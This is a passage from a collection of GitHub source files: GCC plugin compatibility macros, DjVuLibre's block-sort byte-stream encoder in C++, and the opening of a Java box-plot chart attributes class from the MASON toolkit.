static inline void cgraph_remove_node_removal_hook(struct cgraph_node_hook_list *entry)
{
symtab->remove_cgraph_removal_hook(entry);
}
static inline struct cgraph_2node_hook_list *cgraph_add_node_duplication_hook(cgraph_2node_hook hook, void *data)
{
return symtab->add_cgraph_duplication_hook(hook, data);
}
static inline void cgraph_remove_node_duplication_hook(struct cgraph_2node_hook_list *entry)
{
symtab->remove_cgraph_duplication_hook(entry);
}
static inline void cgraph_call_node_duplication_hooks(cgraph_node_ptr node, cgraph_node_ptr node2)
{
symtab->call_cgraph_duplication_hooks(node, node2);
}
static inline void cgraph_call_edge_duplication_hooks(cgraph_edge *cs1, cgraph_edge *cs2)
{
symtab->call_edge_duplication_hooks(cs1, cs2);
}
#if BUILDING_GCC_VERSION >= 6000
typedef gimple *gimple_ptr;
typedef const gimple *const_gimple_ptr;
#define gimple gimple_ptr
#define const_gimple const_gimple_ptr
#undef CONST_CAST_GIMPLE
#define CONST_CAST_GIMPLE(X) CONST_CAST(gimple, (X))
#endif
/* gimple related */
static inline gimple gimple_build_assign_with_ops(enum tree_code subcode, tree lhs, tree op1, tree op2 MEM_STAT_DECL)
{
return gimple_build_assign(lhs, subcode, op1, op2 PASS_MEM_STAT);
}
#if BUILDING_GCC_VERSION < 10000
template <>
template <>
inline bool is_a_helper<const ggoto *>::test(const_gimple gs)
{
return gs->code == GIMPLE_GOTO;
}
template <>
template <>
inline bool is_a_helper<const greturn *>::test(const_gimple gs)
{
return gs->code == GIMPLE_RETURN;
}
#endif
static inline gasm *as_a_gasm(gimple stmt)
{
return as_a<gasm *>(stmt);
}
static inline const gasm *as_a_const_gasm(const_gimple stmt)
{
return as_a<const gasm *>(stmt);
}
static inline gassign *as_a_gassign(gimple stmt)
{
return as_a<gassign *>(stmt);
}
static inline const gassign *as_a_const_gassign(const_gimple stmt)
{
return as_a<const gassign *>(stmt);
}
static inline gcall *as_a_gcall(gimple stmt)
{
return as_a<gcall *>(stmt);
}
static inline const gcall *as_a_const_gcall(const_gimple stmt)
{
return as_a<const gcall *>(stmt);
}
static inline ggoto *as_a_ggoto(gimple stmt)
{
return as_a<ggoto *>(stmt);
}
static inline const ggoto *as_a_const_ggoto(const_gimple stmt)
{
return as_a<const ggoto *>(stmt);
}
static inline gphi *as_a_gphi(gimple stmt)
{
return as_a<gphi *>(stmt);
}
static inline const gphi *as_a_const_gphi(const_gimple stmt)
{
return as_a<const gphi *>(stmt);
}
static inline greturn *as_a_greturn(gimple stmt)
{
return as_a<greturn *>(stmt);
}
static inline const greturn *as_a_const_greturn(const_gimple stmt)
{
return as_a<const greturn *>(stmt);
}
/* IPA/LTO related */
#define ipa_ref_list_referring_iterate(L, I, P) \
(L)->referring.iterate((I), &(P))
#define ipa_ref_list_reference_iterate(L, I, P) \
(L)->reference.iterate((I), &(P))
static inline cgraph_node_ptr ipa_ref_referring_node(struct ipa_ref *ref)
{
return dyn_cast<cgraph_node_ptr>(ref->referring);
}
static inline void ipa_remove_stmt_references(symtab_node *referring_node, gimple stmt)
{
referring_node->remove_stmt_references(stmt);
}
#endif
#if BUILDING_GCC_VERSION < 6000
#define get_inner_reference(exp, pbitsize, pbitpos, poffset, pmode, punsignedp, preversep, pvolatilep, keep_aligning) \
get_inner_reference(exp, pbitsize, pbitpos, poffset, pmode, punsignedp, pvolatilep, keep_aligning)
#define gen_rtx_set(ARG0, ARG1) gen_rtx_SET(VOIDmode, (ARG0), (ARG1))
#endif
#if BUILDING_GCC_VERSION >= 6000
#define gen_rtx_set(ARG0, ARG1) gen_rtx_SET((ARG0), (ARG1))
#endif
#ifdef __cplusplus
static inline void debug_tree(const_tree t)
{
debug_tree(CONST_CAST_TREE(t));
}
static inline void debug_gimple_stmt(const_gimple s)
{
debug_gimple_stmt(CONST_CAST_GIMPLE(s));
}
#else
#define debug_tree(t) debug_tree(CONST_CAST_TREE(t))
#define debug_gimple_stmt(s) debug_gimple_stmt(CONST_CAST_GIMPLE(s))
#endif
#if BUILDING_GCC_VERSION >= 7000
#define get_inner_reference(exp, pbitsize, pbitpos, poffset, pmode, punsignedp, preversep, pvolatilep, keep_aligning) \
get_inner_reference(exp, pbitsize, pbitpos, poffset, pmode, punsignedp, preversep, pvolatilep)
#endif
#if BUILDING_GCC_VERSION < 7000
#define SET_DECL_ALIGN(decl, align) DECL_ALIGN(decl) = (align)
#define SET_DECL_MODE(decl, mode) DECL_MODE(decl) = (mode)
#endif
#endif
| {
"pile_set_name": "Github"
} |
//C- -*- C++ -*-
//C- -------------------------------------------------------------------
//C- DjVuLibre-3.5
//C- Copyright (c) 2002 Leon Bottou and Yann Le Cun.
//C- Copyright (c) 2001 AT&T
//C-
//C- This software is subject to, and may be distributed under, the
//C- GNU General Public License, either Version 2 of the license,
//C- or (at your option) any later version. The license should have
//C- accompanied the software or you may obtain a copy of the license
//C- from the Free Software Foundation at http://www.fsf.org .
//C-
//C- This program is distributed in the hope that it will be useful,
//C- but WITHOUT ANY WARRANTY; without even the implied warranty of
//C- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
//C- GNU General Public License for more details.
//C-
//C- DjVuLibre-3.5 is derived from the DjVu(r) Reference Library from
//C- Lizardtech Software. Lizardtech Software has authorized us to
//C- replace the original DjVu(r) Reference Library notice by the following
//C- text (see doc/lizard2002.djvu and doc/lizardtech2007.djvu):
//C-
//C- ------------------------------------------------------------------
//C- | DjVu (r) Reference Library (v. 3.5)
//C- | Copyright (c) 1999-2001 LizardTech, Inc. All Rights Reserved.
//C- | The DjVu Reference Library is protected by U.S. Pat. No.
//C- | 6,058,214 and patents pending.
//C- |
//C- | This software is subject to, and may be distributed under, the
//C- | GNU General Public License, either Version 2 of the license,
//C- | or (at your option) any later version. The license should have
//C- | accompanied the software or you may obtain a copy of the license
//C- | from the Free Software Foundation at http://www.fsf.org .
//C- |
//C- | The computer code originally released by LizardTech under this
//C- | license and unmodified by other parties is deemed "the LIZARDTECH
//C- | ORIGINAL CODE." Subject to any third party intellectual property
//C- | claims, LizardTech grants recipient a worldwide, royalty-free,
//C- | non-exclusive license to make, use, sell, or otherwise dispose of
//C- | the LIZARDTECH ORIGINAL CODE or of programs derived from the
//C- | LIZARDTECH ORIGINAL CODE in compliance with the terms of the GNU
//C- | General Public License. This grant only confers the right to
//C- | infringe patent claims underlying the LIZARDTECH ORIGINAL CODE to
//C- | the extent such infringement is reasonably necessary to enable
//C- | recipient to make, have made, practice, sell, or otherwise dispose
//C- | of the LIZARDTECH ORIGINAL CODE (or portions thereof) and not to
//C- | any greater extent that may be necessary to utilize further
//C- | modifications or combinations.
//C- |
//C- | The LIZARDTECH ORIGINAL CODE is provided "AS IS" WITHOUT WARRANTY
//C- | OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
//C- | TO ANY WARRANTY OF NON-INFRINGEMENT, OR ANY IMPLIED WARRANTY OF
//C- | MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
//C- +------------------------------------------------------------------
//
// $Id: BSEncodeByteStream.cpp,v 1.9 2007/03/25 20:48:29 leonb Exp $
// $Name: release_3_5_22 $
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#if NEED_GNUG_PRAGMAS
# pragma implementation
#endif
// - Author: Leon Bottou, 07/1998
#include "BSByteStream.h"
#include "GString.h"
#undef BSORT_TIMER
#ifdef BSORT_TIMER
#include "GOS.h"
#endif
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifdef HAVE_NAMESPACES
namespace DJVU {
# ifdef NOT_DEFINED // Just to fool emacs c++ mode
}
#endif
#endif
// ========================================
// --- Assertion
#define ASSERT(expr) do{if(!(expr))G_THROW("assertion ("#expr") failed");}while(0)
// ========================================
// --- Global Definitions
#ifdef OVERFLOW
#undef OVERFLOW
#endif
// Overflow required when encoding
static const int OVERFLOW=32;
// Sorting tresholds
static const int RANKSORT_THRESH=10;
static const int QUICKSORT_STACK=512;
static const int PRESORT_THRESH=10;
static const int PRESORT_DEPTH=8;
static const int RADIX_THRESH=32768;
static const int FREQS0=100000;
static const int FREQS1=1000000;
// ========================================
// -- Sorting Routines
class _BSort // DJVU_CLASS
{
public:
~_BSort();
_BSort(unsigned char *data, int size);
void run(int &markerpos);
private:
// Members
int size;
unsigned char *data;
unsigned int *posn;
GPBuffer<unsigned int> gposn;
int *rank;
GPBuffer<int> grank;
// Helpers
inline int GT(int p1, int p2, int depth);
inline int GTD(int p1, int p2, int depth);
// -- final in-depth sort
void ranksort(int lo, int hi, int d);
// -- doubling sort
int pivot3r(int *rr, int lo, int hi);
void quicksort3r(int lo, int hi, int d);
// -- presort to depth PRESORT_DEPTH
unsigned char pivot3d(unsigned char *dd, int lo, int hi);
void quicksort3d(int lo, int hi, int d);
// -- radixsort
void radixsort16(void);
void radixsort8(void);
};
// blocksort -- the main entry point
static void
blocksort(unsigned char *data, int size, int &markerpos)
{
_BSort bsort(data, size);
bsort.run(markerpos);
}
// _BSort construction
_BSort::_BSort(unsigned char *xdata, int xsize)
: size(xsize), data(xdata), gposn(posn,xsize), grank(rank,xsize+1)
{
ASSERT(size>0 && size<0x1000000);
rank[size] = -1;
}
_BSort::~_BSort()
{
}
// GT -- compare suffixes using rank information
inline int
_BSort::GT(int p1, int p2, int depth)
{
int r1, r2;
int twod = depth + depth;
while (1)
{
r1=rank[p1+depth]; r2=rank[p2+depth];
p1+=twod; p2+=twod;
if (r1!=r2)
return (r1>r2);
r1=rank[p1]; r2=rank[p2];
if (r1!=r2)
return (r1>r2);
r1=rank[p1+depth]; r2=rank[p2+depth];
p1+=twod; p2+=twod;
if (r1!=r2)
return (r1>r2);
r1=rank[p1]; r2=rank[p2];
if (r1!=r2)
return (r1>r2);
r1=rank[p1+depth]; r2=rank[p2+depth];
p1+=twod; p2+=twod;
if (r1!=r2)
return (r1>r2);
r1=rank[p1]; r2=rank[p2];
if (r1!=r2)
return (r1>r2);
r1=rank[p1+depth]; r2=rank[p2+depth];
p1+=twod; p2+=twod;
if (r1!=r2)
return (r1>r2);
r1=rank[p1]; r2=rank[p2];
if (r1!=r2)
return (r1>r2);
};
}
// _BSort::ranksort --
// -- a simple insertion sort based on GT
void
_BSort::ranksort(int lo, int hi, int depth)
{
int i,j;
for (i=lo+1; i<=hi; i++)
{
int tmp = posn[i];
for(j=i-1; j>=lo && GT(posn[j], tmp, depth); j--)
posn[j+1] = posn[j];
posn[j+1] = tmp;
}
for(i=lo;i<=hi;i++)
rank[posn[i]]=i;
}
// pivot -- return suitable pivot
inline int
_BSort::pivot3r(int *rr, int lo, int hi)
{
int c1, c2, c3;
if (hi-lo > 256)
{
c1 = pivot3r(rr, lo, (6*lo+2*hi)/8);
c2 = pivot3r(rr, (5*lo+3*hi)/8, (3*lo+5*hi)/8);
c3 = pivot3r(rr, (2*lo+6*hi)/8, hi);
}
else
{
c1 = rr[posn[lo]];
c2 = rr[posn[(lo+hi)/2]];
c3 = rr[posn[hi]];
}
// Extract median
if (c1>c3)
{ int tmp=c1; c1=c3; c3=tmp; }
if (c2<=c1)
return c1;
else if (c2>=c3)
return c3;
else
return c2;
}
// _BSort::quicksort3r -- Three way quicksort algorithm
// Sort suffixes based on rank at pos+depth
// The algorithm breaks into ranksort when size is
// smaller than RANKSORT_THRESH
static inline int
mini(int a, int b)
{
return (a<=b) ? a : b;
}
static inline void
vswap(int i, int j, int n, unsigned int *x)
{
while (n-- > 0)
{ int tmp = x[i]; x[i++]=x[j]; x[j++]=tmp; }
}
void
_BSort::quicksort3r(int lo, int hi, int depth)
{
/* Initialize stack */
int slo[QUICKSORT_STACK];
int shi[QUICKSORT_STACK];
int sp = 1;
slo[0] = lo;
shi[0] = hi;
// Recursion elimination loop
while (--sp>=0)
{
lo = slo[sp];
hi = shi[sp];
// Test for insertion sort
if (hi-lo<RANKSORT_THRESH)
{
ranksort(lo, hi, depth);
}
else
{
int tmp;
int *rr=rank+depth;
int med = pivot3r(rr,lo,hi);
// -- positions are organized as follows:
// [lo..l1[ [l1..l[ ]h..h1] ]h1..hi]
// = < > =
int l1 = lo;
int h1 = hi;
while (rr[posn[l1]]==med && l1<h1) { l1++; }
while (rr[posn[h1]]==med && l1<h1) { h1--; }
int l = l1;
int h = h1;
// -- partition set
for (;;)
{
while (l<=h)
{
int c = rr[posn[l]] - med;
if (c > 0) break;
if (c == 0) { tmp=posn[l]; posn[l]=posn[l1]; posn[l1++]=tmp; }
l++;
}
while (l<=h)
{
int c = rr[posn[h]] - med;
if (c < 0) break;
if (c == 0) { tmp=posn[h]; posn[h]=posn[h1]; posn[h1--]=tmp; }
h--;
}
if (l>h) break;
tmp=posn[l]; posn[l]=posn[h]; posn[h]=tmp;
}
// -- reorganize as follows
// [lo..l1[ [l1..h1] ]h1..hi]
// < = >
tmp = mini(l1-lo, l-l1);
vswap(lo, l-tmp, tmp, posn);
l1 = lo + (l-l1);
tmp = mini(hi-h1, h1-h);
vswap(hi-tmp+1, h+1, tmp, posn);
h1 = hi - (h1-h);
// -- process segments
ASSERT(sp+2<QUICKSORT_STACK);
// ----- middle segment (=?) [l1, h1]
for(int i=l1;i<=h1;i++)
rank[posn[i]] = h1;
// ----- lower segment (<) [lo, l1[
if (l1 > lo)
{
for(int i=lo;i<l1;i++)
rank[posn[i]]=l1-1;
slo[sp]=lo;
shi[sp]=l1-1;
if (slo[sp] < shi[sp])
sp++;
}
// ----- upper segment (>) ]h1, hi]
if (h1 < hi)
{
slo[sp]=h1+1;
shi[sp]=hi;
if (slo[sp] < shi[sp])
sp++;
}
}
}
}
// GTD -- compare suffixes using data information
// (up to depth PRESORT_DEPTH)
inline int
_BSort::GTD(int p1, int p2, int depth)
{
unsigned char c1, c2;
p1+=depth; p2+=depth;
while (depth < PRESORT_DEPTH)
{
// Perform two
c1=data[p1]; c2=data[p2];
if (c1!=c2)
return (c1>c2);
c1=data[p1+1]; c2=data[p2+1];
p1+=2; p2+=2; depth+=2;
if (c1!=c2)
return (c1>c2);
}
if (p1<size && p2<size)
return 0;
return (p1<p2);
}
// pivot3d -- return suitable pivot
inline unsigned char
_BSort::pivot3d(unsigned char *rr, int lo, int hi)
{
unsigned char c1, c2, c3;
if (hi-lo > 256)
{
c1 = pivot3d(rr, lo, (6*lo+2*hi)/8);
c2 = pivot3d(rr, (5*lo+3*hi)/8, (3*lo+5*hi)/8);
c3 = pivot3d(rr, (2*lo+6*hi)/8, hi);
}
else
{
c1 = rr[posn[lo]];
c2 = rr[posn[(lo+hi)/2]];
c3 = rr[posn[hi]];
}
// Extract median
if (c1>c3)
{ int tmp=c1; c1=c3; c3=tmp; }
if (c2<=c1)
return c1;
else if (c2>=c3)
return c3;
else
return c2;
}
// _BSort::quicksort3d -- Three way quicksort algorithm
// Sort suffixes based on strings until reaching
// depth rank at pos+depth
// The algorithm breaks into ranksort when size is
// smaller than PRESORT_THRESH
void
_BSort::quicksort3d(int lo, int hi, int depth)
{
/* Initialize stack */
int slo[QUICKSORT_STACK];
int shi[QUICKSORT_STACK];
int sd[QUICKSORT_STACK];
int sp = 1;
slo[0] = lo;
shi[0] = hi;
sd[0] = depth;
// Recursion elimination loop
while (--sp>=0)
{
lo = slo[sp];
hi = shi[sp];
depth = sd[sp];
// Test for insertion sort
if (depth >= PRESORT_DEPTH)
{
for (int i=lo; i<=hi; i++)
rank[posn[i]] = hi;
}
else if (hi-lo<PRESORT_THRESH)
{
int i,j;
for (i=lo+1; i<=hi; i++)
{
int tmp = posn[i];
for(j=i-1; j>=lo && GTD(posn[j], tmp, depth); j--)
posn[j+1] = posn[j];
posn[j+1] = tmp;
}
for(i=hi;i>=lo;i=j)
{
int tmp = posn[i];
rank[tmp] = i;
for (j=i-1; j>=lo && !GTD(tmp,posn[j],depth); j--)
rank[posn[j]] = i;
}
}
else
{
int tmp;
unsigned char *dd=data+depth;
unsigned char med = pivot3d(dd,lo,hi);
// -- positions are organized as follows:
// [lo..l1[ [l1..l[ ]h..h1] ]h1..hi]
// = < > =
int l1 = lo;
int h1 = hi;
while (dd[posn[l1]]==med && l1<h1) { l1++; }
while (dd[posn[h1]]==med && l1<h1) { h1--; }
int l = l1;
int h = h1;
// -- partition set
for (;;)
{
while (l<=h)
{
int c = (int)dd[posn[l]] - (int)med;
if (c > 0) break;
if (c == 0) { tmp=posn[l]; posn[l]=posn[l1]; posn[l1++]=tmp; }
l++;
}
while (l<=h)
{
int c = (int)dd[posn[h]] - (int)med;
if (c < 0) break;
if (c == 0) { tmp=posn[h]; posn[h]=posn[h1]; posn[h1--]=tmp; }
h--;
}
if (l>h) break;
tmp=posn[l]; posn[l]=posn[h]; posn[h]=tmp;
}
// -- reorganize as follows
// [lo..l1[ [l1..h1] ]h1..hi]
// < = >
tmp = mini(l1-lo, l-l1);
vswap(lo, l-tmp, tmp, posn);
l1 = lo + (l-l1);
tmp = mini(hi-h1, h1-h);
vswap(hi-tmp+1, h+1, tmp, posn);
h1 = hi - (h1-h);
// -- process segments
ASSERT(sp+3<QUICKSORT_STACK);
// ----- middle segment (=?) [l1, h1]
l = l1; h = h1;
if (med==0) // special case for marker [slow]
for (int i=l; i<=h; i++)
if ((int)posn[i]+depth == size-1)
{
tmp=posn[i]; posn[i]=posn[l]; posn[l]=tmp;
rank[tmp]=l++; break;
}
if (l<h)
{ slo[sp] = l; shi[sp] = h; sd[sp++] = depth+1; }
else if (l==h)
{ rank[posn[h]] = h; }
// ----- lower segment (<) [lo, l1[
l = lo;
h = l1-1;
if (l<h)
{ slo[sp] = l; shi[sp] = h; sd[sp++] = depth; }
else if (l==h)
{ rank[posn[h]] = h; }
// ----- upper segment (>) ]h1, hi]
l = h1+1;
h = hi;
if (l<h)
{ slo[sp] = l; shi[sp] = h; sd[sp++] = depth; }
else if (l==h)
{ rank[posn[h]] = h; }
}
}
}
// _BSort::radixsort8 -- 8 bit radix sort
void
_BSort::radixsort8(void)
{
int i;
// Initialize frequency array
int lo[256], hi[256];
for (i=0; i<256; i++)
hi[i] = lo[i] = 0;
// Count occurences
for (i=0; i<size-1; i++)
hi[data[i]] ++;
// Compute positions (lo)
int last = 1;
for (i=0; i<256; i++)
{
lo[i] = last;
hi[i] = last + hi[i] - 1;
last = hi[i] + 1;
}
for (i=0; i<size-1; i++)
{
posn[ lo[data[i]]++ ] = i;
rank[ i ] = hi[data[i]];
}
// Process marker "$"
posn[0] = size-1;
rank[size-1] = 0;
// Extra element
rank[size] = -1;
}
// _BSort::radixsort16 -- 16 bit radix sort
void
_BSort::radixsort16(void)
{
int i;
// Initialize frequency array
int *ftab;
GPBuffer<int> gftab(ftab,65536);
for (i=0; i<65536; i++)
ftab[i] = 0;
// Count occurences
unsigned char c1 = data[0];
for (i=0; i<size-1; i++)
{
unsigned char c2 = data[i+1];
ftab[(c1<<8)|c2] ++;
c1 = c2;
}
// Generate upper position
for (i=1;i<65536;i++)
ftab[i] += ftab[i-1];
// Fill rank array with upper bound
c1 = data[0];
for (i=0; i<size-2; i++)
{
unsigned char c2 = data[i+1];
rank[i] = ftab[(c1<<8)|c2];
c1 = c2;
}
// Fill posn array (backwards)
c1 = data[size-2];
for (i=size-3; i>=0; i--)
{
unsigned char c2 = data[i];
posn[ ftab[(c2<<8)|c1]-- ] = i;
c1 = c2;
}
// Fixup marker stuff
ASSERT(data[size-1]==0);
c1 = data[size-2];
posn[0] = size-1;
posn[ ftab[(c1<<8)] ] = size-2;
rank[size-1] = 0;
rank[size-2] = ftab[(c1<<8)];
// Extra element
rank[size] = -1;
}
// _BSort::run -- main sort loop
void
_BSort::run(int &markerpos)
{
int lo, hi;
ASSERT(size>0);
ASSERT(data[size-1]==0);
#ifdef BSORT_TIMER
long start = GOS::ticks();
#endif
// Step 1: Radix sort
int depth = 0;
if (size > RADIX_THRESH)
{
radixsort16();
depth=2;
}
else
{
radixsort8();
depth=1;
}
// Step 2: Perform presort to depth PRESORT_DEPTH
for (lo=0; lo<size; lo++)
{
hi = rank[posn[lo]];
if (lo < hi)
quicksort3d(lo, hi, depth);
lo = hi;
}
depth = PRESORT_DEPTH;
#ifdef BSORT_TIMER
long middle = GOS::ticks();
#endif
// Step 3: Perform rank doubling
int again = 1;
while (again)
{
again = 0;
int sorted_lo = 0;
for (lo=0; lo<size; lo++)
{
hi = rank[posn[lo]&0xffffff];
if (lo == hi)
{
lo += (posn[lo]>>24) & 0xff;
}
else
{
if (hi-lo < RANKSORT_THRESH)
{
ranksort(lo, hi, depth);
}
else
{
again += 1;
while (sorted_lo < lo-1)
{
int step = mini(255, lo-1-sorted_lo);
posn[sorted_lo] = (posn[sorted_lo]&0xffffff) | (step<<24);
sorted_lo += step+1;
}
quicksort3r(lo, hi, depth);
sorted_lo = hi + 1;
}
lo = hi;
}
}
// Finish threading
while (sorted_lo < lo-1)
{
int step = mini(255, lo-1-sorted_lo);
posn[sorted_lo] = (posn[sorted_lo]&0xffffff) | (step<<24);
sorted_lo += step+1;
}
// Double depth
depth += depth;
}
// Step 4: Permute data
int i;
markerpos = -1;
for (i=0; i<size; i++)
rank[i] = data[i];
for (i=0; i<size; i++)
{
int j = posn[i] & 0xffffff;
if (j>0)
{
data[i] = rank[j-1];
}
else
{
data[i] = 0;
markerpos = i;
}
}
ASSERT(markerpos>=0 && markerpos<size);
#ifdef BSORT_TIMER
long end = GOS::ticks();
DjVuPrintErrorUTF8("Sorting time: %d bytes in %ld + %ld = %ld ms\n",
size-1, middle-start, end-middle, end-start);
#endif
}
// ========================================
// -- Encoding
static void
encode_raw(ZPCodec &zp, int bits, int x)
{
int n = 1;
int m = (1<<bits);
while (n < m)
{
x = (x & (m-1)) << 1;
int b = (x >> bits);
zp.encoder(b);
n = (n<<1) | b;
}
}
static inline void
encode_binary(ZPCodec &zp, BitContext *ctx, int bits, int x)
{
// Require 2^bits-1 contexts
int n = 1;
int m = (1<<bits);
ctx = ctx - 1;
while (n < m)
{
x = (x & (m-1)) << 1;
int b = (x >> bits);
zp.encoder(b, ctx[n]);
n = (n<<1) | b;
}
}
class BSByteStream::Encode : public BSByteStream
{
public:
/** Creates a Static object for allocating the memory area of
length #sz# starting at address #buffer#. */
Encode(GP<ByteStream> bs);
~Encode();
void init(const int encoding);
// Virtual functions
virtual size_t write(const void *buffer, size_t sz);
virtual void flush(void);
protected:
unsigned int encode(void);
};
unsigned int
BSByteStream::Encode::encode()
{
/////////////////////////////////
//////////// Block Sort Tranform
int markerpos = size-1;
blocksort(data,size,markerpos);
/////////////////////////////////
//////////// Encode Output Stream
// Header
ZPCodec &zp=*gzp;
encode_raw(zp, 24, size);
// Determine and Encode Estimation Speed
int fshift = 0;
if (size < FREQS0)
{ fshift=0; zp.encoder(0); }
else if (size < FREQS1)
{ fshift = 1; zp.encoder(1); zp.encoder(0); }
else
{ fshift = 2; zp.encoder(1); zp.encoder(1); }
// MTF
unsigned char mtf[256];
unsigned char rmtf[256];
unsigned int freq[FREQMAX];
int m = 0;
for (m=0; m<256; m++)
mtf[m] = m;
for (m=0; m<256; m++)
rmtf[mtf[m]] = m;
int fadd = 4;
for (m=0; m<FREQMAX; m++)
freq[m] = 0;
// Encode
int i;
int mtfno = 3;
for (i=0; i<size; i++)
{
// Get MTF data
int c = data[i];
int ctxid = CTXIDS-1;
if (ctxid>mtfno) ctxid=mtfno;
mtfno = rmtf[c];
if (i==markerpos)
mtfno = 256;
// Encode using ZPCoder
int b;
BitContext *cx = ctx;
b = (mtfno==0);
zp.encoder(b, cx[ctxid]);
if (b) goto rotate; cx+=CTXIDS;
b = (mtfno==1);
zp.encoder(b, cx[ctxid]);
if (b) goto rotate; cx+=CTXIDS;
b = (mtfno<4);
zp.encoder(b, cx[0]);
if (b) { encode_binary(zp,cx+1,1,mtfno-2); goto rotate; }
cx+=1+1;
b = (mtfno<8);
zp.encoder(b, cx[0]);
if (b) { encode_binary(zp,cx+1,2,mtfno-4); goto rotate; }
cx+=1+3;
b = (mtfno<16);
zp.encoder(b, cx[0]);
if (b) { encode_binary(zp,cx+1,3,mtfno-8); goto rotate; }
cx+=1+7;
b = (mtfno<32);
zp.encoder(b, cx[0]);
if (b) { encode_binary(zp,cx+1,4,mtfno-16); goto rotate; }
cx+=1+15;
b = (mtfno<64);
zp.encoder(b, cx[0]);
if (b) { encode_binary(zp,cx+1,5,mtfno-32); goto rotate; }
cx+=1+31;
b = (mtfno<128);
zp.encoder(b, cx[0]);
if (b) { encode_binary(zp,cx+1,6,mtfno-64); goto rotate; }
cx+=1+63;
b = (mtfno<256);
zp.encoder(b, cx[0]);
if (b) { encode_binary(zp,cx+1,7,mtfno-128); goto rotate; }
continue;
// Rotate MTF according to empirical frequencies (new!)
rotate:
// Adjust frequencies for overflow
fadd = fadd + (fadd>>fshift);
if (fadd > 0x10000000)
{
fadd = fadd>>24;
freq[0] >>= 24;
freq[1] >>= 24;
freq[2] >>= 24;
freq[3] >>= 24;
for (int k=4; k<FREQMAX; k++)
freq[k] = freq[k]>>24;
}
// Relocate new char according to new freq
unsigned int fc = fadd;
if (mtfno < FREQMAX)
fc += freq[mtfno];
int k;
for (k=mtfno; k>=FREQMAX; k--)
{
mtf[k] = mtf[k-1];
rmtf[mtf[k]] = k;
}
for (; k>0 && fc>=freq[k-1]; k--)
{
mtf[k] = mtf[k-1];
freq[k] = freq[k-1];
rmtf[mtf[k]] = k;
}
mtf[k] = c;
freq[k] = fc;
rmtf[mtf[k]] = k;
}
// Terminate
return 0;
}
// ========================================
// --- Construction
BSByteStream::Encode::Encode(GP<ByteStream> xbs)
: BSByteStream(xbs) {}
void
BSByteStream::Encode::init(const int xencoding)
{
gzp=ZPCodec::create(gbs,true,true);
const int encoding=(xencoding<MINBLOCK)?MINBLOCK:xencoding;
if (encoding > MAXBLOCK)
G_THROW( ERR_MSG("ByteStream.blocksize") "\t" + GUTF8String(MAXBLOCK) );
// Record block size
blocksize = encoding * 1024;
// Initialize context array
}
BSByteStream::Encode::~Encode()
{
// Flush
flush();
// Encode EOF marker
encode_raw(*gzp, 24, 0);
// Free allocated memory
}
GP<ByteStream>
BSByteStream::create(GP<ByteStream> xbs,const int blocksize)
{
BSByteStream::Encode *rbs=new BSByteStream::Encode(xbs);
GP<ByteStream> retval=rbs;
rbs->init(blocksize);
return retval;
}
// ========================================
// -- ByteStream interface
void
BSByteStream::Encode::flush()
{
if (bptr>0)
{
ASSERT(bptr<(int)blocksize);
memset(data+bptr, 0, OVERFLOW);
size = bptr+1;
encode();
}
size = bptr = 0;
}
size_t
BSByteStream::Encode::write(const void *buffer, size_t sz)
{
// Trivial checks
if (sz == 0)
return 0;
// Loop
int copied = 0;
while (sz > 0)
{
// Initialize
if (!data)
{
bptr = 0;
gdata.resize(blocksize+OVERFLOW);
}
// Compute remaining
int bytes = blocksize - 1 - bptr;
if (bytes > (int)sz)
bytes = sz;
// Store date (todo: rle)
memcpy(data+bptr, buffer, bytes);
buffer = (void*)((char*)buffer + bytes);
bptr += bytes;
sz -= bytes;
copied += bytes;
offset += bytes;
// Flush when needed
if (bptr + 1 >= (int)blocksize)
flush();
}
// return
return copied;
}
#ifdef HAVE_NAMESPACES
}
# ifndef NOT_USING_DJVU_NAMESPACE
using namespace DJVU;
# endif
#endif
| {
"pile_set_name": "Github"
} |
/*
Copyright 2006 by Sean Luke and George Mason University
Licensed under the Academic Free License version 3.0
See the file "LICENSE" for more information
*/
package sim.util.media.chart;
import java.awt.*;
import javax.swing.*;
import javax.swing.border.*;
import java.awt.event.*;
import java.awt.geom.*;
import javax.swing.event.*;
import java.util.*;
import sim.util.gui.*;
// From JFreeChart
import org.jfree.data.xy.*;
import org.jfree.chart.*;
import org.jfree.chart.event.*;
import org.jfree.chart.plot.*;
import org.jfree.data.general.*;
import org.jfree.chart.renderer.xy.*;
import org.jfree.data.general.*;
import org.jfree.chart.renderer.category.*;
/** A SeriesAttributes used for user control of BoxPlot series created with BoxPlotGenerator.
Unfortunately JFreeChart doesn't have nearly
as well-designed a BoxPlot chart facility as its time series charts. There is no BoxPlotSeries object to
encapsulate a series, and no facilities for deleting or moving series relative to one another.
*/
public class BoxPlotSeriesAttributes extends SeriesAttributes
{
double[][] values;
String[] labels = new String[] { "" };
public void setLabels(String[] labels)
{
if (labels != null) labels = (String[])(labels.clone());
else labels = new String[] { "" };
this.labels = labels;
}
public String[] getLabels() { return labels; }
// public void setLabel(String label) { this.labels = new String[] { label }; }
public double[][] getValues() { return values; }
public void setValues(double[][] vals)
{
if (vals != null)
{
vals = (double[][]) (vals.clone());
for(int i = 0; i < vals.length; i++)
vals[i] = (double[]) (vals[i].clone());
}
values = vals;
}
//public void setValues(double[] vals) { setValues(new double[][] { vals }); }
/** Border thickness */
float thickness;
NumberTextField thicknessField;
/** The color of the BoxPlot bar. */
Color fillColor;
ColorWell fillColorWell;
/** The color of the BoxPlot bar border. */
Color strokeColor;
ColorWell strokeColorWell;
/** The opacity of the BoxPlot bar. Sadly this must be separate than the color because
Sun doesn't have a proper color selector. */
double fillOpacity;
NumberTextField fillOpacityField;
/** The opacity of the BoxPlot bar border. Sadly this must be separate than the color because
Sun doesn't have a proper color selector. */
double lineOpacity;
NumberTextField lineOpacityField;
public void setFillOpacity(double value) { fillOpacityField.setValue(fillOpacityField.newValue(value)); }
public double getFillOpacity() { return fillOpacityField.getValue(); }
public void setStrokeOpacity(double value) { lineOpacityField.setValue(lineOpacityField.newValue(value)); }
public double getStrokeOpacity() { return lineOpacityField.getValue(); }
public void setThickness(double value) { thicknessField.setValue(thicknessField.newValue(value)); }
public double getThickness() { return (double)(thicknessField.getValue()); }
public void setFillColor(Color value) { fillColorWell.setColor(fillColor = value); }
public Color getFillColor() { return fillColor; }
public void setStrokeColor(Color value) { strokeColorWell.setColor(strokeColor = value); }
